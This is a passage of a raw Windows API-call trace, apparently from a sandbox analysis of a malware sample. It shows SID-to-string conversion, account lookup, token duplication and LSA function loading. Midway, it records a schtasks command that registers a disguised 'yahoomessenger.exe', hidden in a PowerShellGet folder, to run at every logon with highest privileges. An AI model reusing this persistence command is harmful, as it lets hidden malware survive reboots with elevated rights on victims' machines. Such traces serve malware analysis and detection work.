[4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0066.072] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0066.072] malloc (_Size=0x18) returned 0xeef00 [0066.072] malloc (_Size=0x18) returned 0xef0a0 [0066.072] SysStringLen (param_1="S-1-5") returned 0x5 [0066.072] SysStringLen (param_1="-") returned 0x1 [0066.072] memcpy (in: _Dst=0x381118, _Src=0x3812f8, _Size=0xc | out: _Dst=0x381118) returned 0x381118 [0066.072] memcpy (in: _Dst=0x381122, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381122) returned 0x381122 [0066.072] free (_Block=0xef020) [0066.072] free (_Block=0xeef00) [0066.072] malloc (_Size=0x18) returned 0xeef00 [0066.072] malloc (_Size=0x18) returned 0xef020 [0066.073] SysStringLen (param_1="S-1-5-") returned 0x6 [0066.073] SysStringLen (param_1="21") returned 0x2 [0066.073] memcpy (in: _Dst=0x3810e8, _Src=0x381118, _Size=0xe | out: _Dst=0x3810e8) returned 0x3810e8 [0066.073] memcpy (in: _Dst=0x3810f4, _Src=0x3812f8, _Size=0x6 | out: _Dst=0x3810f4) returned 0x3810f4 [0066.073] free (_Block=0xef0a0) [0066.073] free (_Block=0xeef00) [0066.073] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0066.073] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0066.073] malloc (_Size=0x18) returned 0xeef00 [0066.073] malloc (_Size=0x18) returned 0xef0a0 [0066.073] SysStringLen (param_1="S-1-5-21") returned 0x8 [0066.073] SysStringLen (param_1="-") returned 0x1 [0066.073] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0x12 | out: _Dst=0x3812f8) returned 0x3812f8 [0066.073] memcpy (in: _Dst=0x381308, _Src=0x381118, _Size=0x4 | out: _Dst=0x381308) returned 0x381308 [0066.073] free (_Block=0xef020) [0066.073] free (_Block=0xeef00) [0066.073] malloc (_Size=0x18) returned 0xeef00 [0066.073] malloc (_Size=0x18) returned 0xef020 [0066.073] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0066.073] SysStringLen (param_1="4219442223") returned 0xa [0066.073] memcpy (in: _Dst=0x337af8, _Src=0x3812f8, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0066.073] memcpy (in: _Dst=0x337b0a, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0066.073] free (_Block=0xef0a0) [0066.073] free (_Block=0xeef00) [0066.074] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0066.074] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0066.074] malloc (_Size=0x18) returned 0xeef00 [0066.074] malloc (_Size=0x18) returned 0xef0a0 [0066.074] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0066.074] SysStringLen (param_1="-") returned 0x1 [0066.074] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0066.074] memcpy (in: _Dst=0x337a7e, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0066.074] free (_Block=0xef020) [0066.074] free (_Block=0xeef00) [0066.074] malloc (_Size=0x18) returned 0xeef00 [0066.074] malloc (_Size=0x18) returned 0xef020 [0066.074] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0066.074] SysStringLen (param_1="4223814209") returned 0xa [0066.074] memcpy (in: _Dst=0x327668, _Src=0x337a58, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0066.074] memcpy (in: _Dst=0x327690, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0066.074] free (_Block=0xef0a0) [0066.074] free (_Block=0xeef00) [0066.075] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0066.075] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0066.075] malloc (_Size=0x18) returned 0xeef00 [0066.075] malloc (_Size=0x18) returned 0xef0a0 [0066.075] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0066.075] SysStringLen (param_1="-") returned 0x1 [0066.075] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0066.075] memcpy (in: _Dst=0x34d994, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0066.075] free (_Block=0xef020) [0066.075] free (_Block=0xeef00) [0066.075] malloc (_Size=0x18) returned 0xeef00 [0066.075] malloc (_Size=0x18) returned 0xef020 [0066.075] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0066.075] SysStringLen (param_1="3835049652") returned 0xa [0066.075] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0066.075] memcpy (in: _Dst=0x3276a6, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0066.075] free (_Block=0xef0a0) [0066.075] free (_Block=0xeef00) [0066.075] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0066.075] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0066.075] malloc (_Size=0x18) returned 0xeef00 [0066.075] malloc (_Size=0x18) returned 0xef0a0 [0066.075] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0066.075] SysStringLen (param_1="-") returned 0x1 [0066.075] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0066.075] memcpy (in: _Dst=0x34d9aa, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0066.076] free (_Block=0xef020) [0066.076] free (_Block=0xeef00) [0066.076] malloc (_Size=0x18) returned 0xeef00 [0066.076] malloc (_Size=0x18) returned 0xef020 [0066.076] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0066.076] SysStringLen (param_1="1000") returned 0x4 [0066.076] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0066.076] memcpy (in: _Dst=0x3276bc, _Src=0x3812f8, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0066.076] free (_Block=0xef0a0) [0066.076] free (_Block=0xeef00) [0066.076] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0066.076] malloc (_Size=0x5e) returned 0xf0800 [0066.076] free (_Block=0xef020) [0066.076] malloc (_Size=0x18) returned 0xef020 [0066.076] free (_Block=0xf0800) [0066.076] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0066.077] GetLastError () returned 0x7a [0066.077] malloc (_Size=0x14) returned 0xeef00 [0066.077] malloc (_Size=0x16) returned 0xef0a0 [0066.077] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebccb4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0066.078] malloc (_Size=0x18) returned 0xef040 [0066.078] malloc (_Size=0x18) returned 0xeef20 [0066.078] free (_Block=0xeef00) [0066.078] free (_Block=0xef0a0) [0066.078] free (_Block=0xeff30) [0066.078] free (_Block=0xeef20) [0066.078] free (_Block=0xef040) [0066.078] free (_Block=0xef020) [0066.078] free (_Block=0xee240) [0066.079] malloc (_Size=0x48) returned 0xed270 [0066.079] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0066.085] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0066.085] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0066.085] malloc (_Size=0x18) returned 0xef020 [0066.085] CreateEnvironmentBlock () returned 0x1 [0066.091] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0066.091] malloc (_Size=0x18) returned 0xef040 [0066.091] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"yahoomessenger\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"yahoomessenger\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf60, dwThreadId=0xf64)) returned 1 [0066.096] CloseHandle (hObject=0x2fc) returned 1 [0066.096] CloseHandle (hObject=0x248) returned 1 [0066.096] free (_Block=0xef040) [0066.096] DestroyEnvironmentBlock () returned 0x1 [0066.096] malloc (_Size=0x48) returned 0xed400 [0066.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x507a1fc0, dwHighDateTime=0x1d9eb0c)) [0066.096] SetEvent (hEvent=0x1f0) returned 1 [0066.097] CloseHandle (hObject=0x24c) returned 1 [0066.097] CloseHandle (hObject=0x234) returned 1 [0066.119] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0066.120] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0066.120] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0066.676] SetLastError (dwErrCode=0x0) [0066.676] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0066.676] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0066.676] SetLastError (dwErrCode=0x0) [0066.676] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0066.676] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0066.676] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0066.676] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0066.676] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0066.676] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0066.679] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0066.680] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0066.680] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0066.680] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0066.681] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0066.681] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0066.681] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0066.683] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0066.684] GetCurrentThread () returned 0xfffffffffffffffe [0066.684] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0066.684] malloc (_Size=0xd8) returned 0xf3750 [0066.684] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0066.684] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0066.684] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0066.685] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0066.685] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0066.685] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0066.685] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0066.686] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0066.686] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0066.686] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0066.686] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0066.686] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0066.687] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0066.687] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0066.687] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0066.687] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0066.687] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0066.688] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0066.688] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0066.688] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0066.688] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0066.688] malloc (_Size=0x18) returned 0xeef60 [0066.688] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x24c) returned 1 [0066.688] malloc (_Size=0x48) returned 0xed2c0 [0066.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x50d49400, dwHighDateTime=0x1d9eb0c)) [0066.689] SetEvent (hEvent=0x1f0) returned 1 [0066.694] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0066.694] GetLastError () returned 0x7a [0066.694] malloc (_Size=0x2c) returned 0xee200 [0066.695] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0066.695] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0066.695] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0066.695] malloc (_Size=0x1c) returned 0xeff00 [0066.695] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0066.695] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0066.695] malloc (_Size=0x18) returned 0xef020 [0066.695] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0066.695] malloc (_Size=0x18) returned 0xef040 [0066.695] malloc (_Size=0x18) returned 0xeef20 [0066.695] SysStringLen (param_1="S-1-") returned 0x4 [0066.695] SysStringLen (param_1="5") returned 0x1 [0066.695] memcpy (in: _Dst=0x381148, _Src=0x3811a8, _Size=0xa | out: _Dst=0x381148) returned 0x381148 [0066.695] memcpy (in: _Dst=0x381150, _Src=0x381058, _Size=0x4 | out: _Dst=0x381150) returned 0x381150 [0066.696] free (_Block=0xef020) [0066.696] free (_Block=0xef040) [0066.696] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0066.696] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0066.696] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0066.696] malloc (_Size=0x18) returned 0xef040 [0066.696] malloc (_Size=0x18) returned 0xef020 [0066.696] SysStringLen (param_1="S-1-5") returned 0x5 [0066.696] SysStringLen (param_1="-") returned 0x1 [0066.696] memcpy (in: _Dst=0x381058, _Src=0x381148, _Size=0xc | out: _Dst=0x381058) returned 0x381058 [0066.696] memcpy (in: _Dst=0x381062, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381062) returned 0x381062 [0066.696] free (_Block=0xeef20) [0066.697] free (_Block=0xef040) [0066.697] malloc (_Size=0x18) returned 0xef040 [0066.697] malloc (_Size=0x18) returned 0xeef20 [0066.697] SysStringLen (param_1="S-1-5-") returned 0x6 [0066.697] SysStringLen (param_1="21") returned 0x2 [0066.697] memcpy (in: _Dst=0x3811a8, _Src=0x381058, _Size=0xe | out: _Dst=0x3811a8) returned 0x3811a8 [0066.697] memcpy (in: _Dst=0x3811b4, _Src=0x381148, _Size=0x6 | out: _Dst=0x3811b4) returned 0x3811b4 [0066.697] free (_Block=0xef020) [0066.697] free (_Block=0xef040) [0066.697] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0066.697] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0066.697] malloc (_Size=0x18) returned 0xef040 [0066.697] malloc (_Size=0x18) returned 0xef020 [0066.698] SysStringLen (param_1="S-1-5-21") returned 0x8 [0066.698] SysStringLen (param_1="-") returned 0x1 [0066.698] memcpy (in: _Dst=0x381148, _Src=0x3811a8, _Size=0x12 | out: _Dst=0x381148) returned 0x381148 [0066.698] memcpy (in: _Dst=0x381158, _Src=0x381058, _Size=0x4 | out: _Dst=0x381158) returned 0x381158 [0066.698] free (_Block=0xeef20) [0066.698] free (_Block=0xef040) [0066.698] malloc (_Size=0x18) returned 0xef040 [0066.699] malloc (_Size=0x18) returned 0xeef20 [0066.699] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0066.699] SysStringLen (param_1="4219442223") returned 0xa [0066.699] memcpy (in: _Dst=0x338318, _Src=0x381148, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0066.699] memcpy (in: _Dst=0x33832a, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0066.699] free (_Block=0xef020) [0066.699] free (_Block=0xef040) [0066.699] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0066.699] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0066.699] malloc (_Size=0x18) returned 0xef040 [0066.699] malloc (_Size=0x18) returned 0xef020 [0066.699] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0066.699] SysStringLen (param_1="-") returned 0x1 [0066.700] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0066.700] memcpy (in: _Dst=0x3377ae, _Src=0x381148, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0066.700] free (_Block=0xeef20) [0066.700] free (_Block=0xef040) [0066.700] malloc (_Size=0x18) returned 0xef040 [0066.700] malloc (_Size=0x18) returned 0xeef20 [0066.700] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0066.700] SysStringLen (param_1="4223814209") returned 0xa [0066.700] memcpy (in: _Dst=0x34da68, _Src=0x337788, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0066.700] memcpy (in: _Dst=0x34da90, _Src=0x381148, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0066.700] free (_Block=0xef020) [0066.700] free (_Block=0xef040) [0066.701] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0066.701] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0066.701] malloc (_Size=0x18) returned 0xef040 [0066.701] malloc (_Size=0x18) returned 0xef020 [0066.701] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0066.701] SysStringLen (param_1="-") returned 0x1 [0066.701] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0066.701] memcpy (in: _Dst=0x34dbb4, _Src=0x381148, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0066.701] free (_Block=0xeef20) [0066.701] free (_Block=0xef040) [0066.701] malloc (_Size=0x18) returned 0xef040 [0066.701] malloc (_Size=0x18) returned 0xeef20 [0066.702] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0066.702] SysStringLen (param_1="3835049652") returned 0xa [0066.702] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0066.702] memcpy (in: _Dst=0x34daa6, _Src=0x381148, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0066.702] free (_Block=0xef020) [0066.702] free (_Block=0xef040) [0066.702] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0066.702] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0066.702] malloc (_Size=0x18) returned 0xef040 [0066.702] malloc (_Size=0x18) returned 0xef020 [0066.702] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0066.702] SysStringLen (param_1="-") returned 0x1 [0066.702] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0066.702] memcpy (in: _Dst=0x34dbca, _Src=0x381148, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0066.702] free (_Block=0xeef20) [0066.702] free (_Block=0xef040) [0066.702] malloc (_Size=0x18) returned 0xef040 [0066.702] malloc (_Size=0x18) returned 0xeef20 [0066.703] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0066.703] SysStringLen (param_1="1000") returned 0x4 [0066.703] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0066.703] memcpy (in: _Dst=0x34dabc, _Src=0x381148, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0066.703] free (_Block=0xef020) [0066.703] free (_Block=0xef040) [0066.703] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0066.703] malloc (_Size=0x5e) returned 0xf0800 [0066.703] free 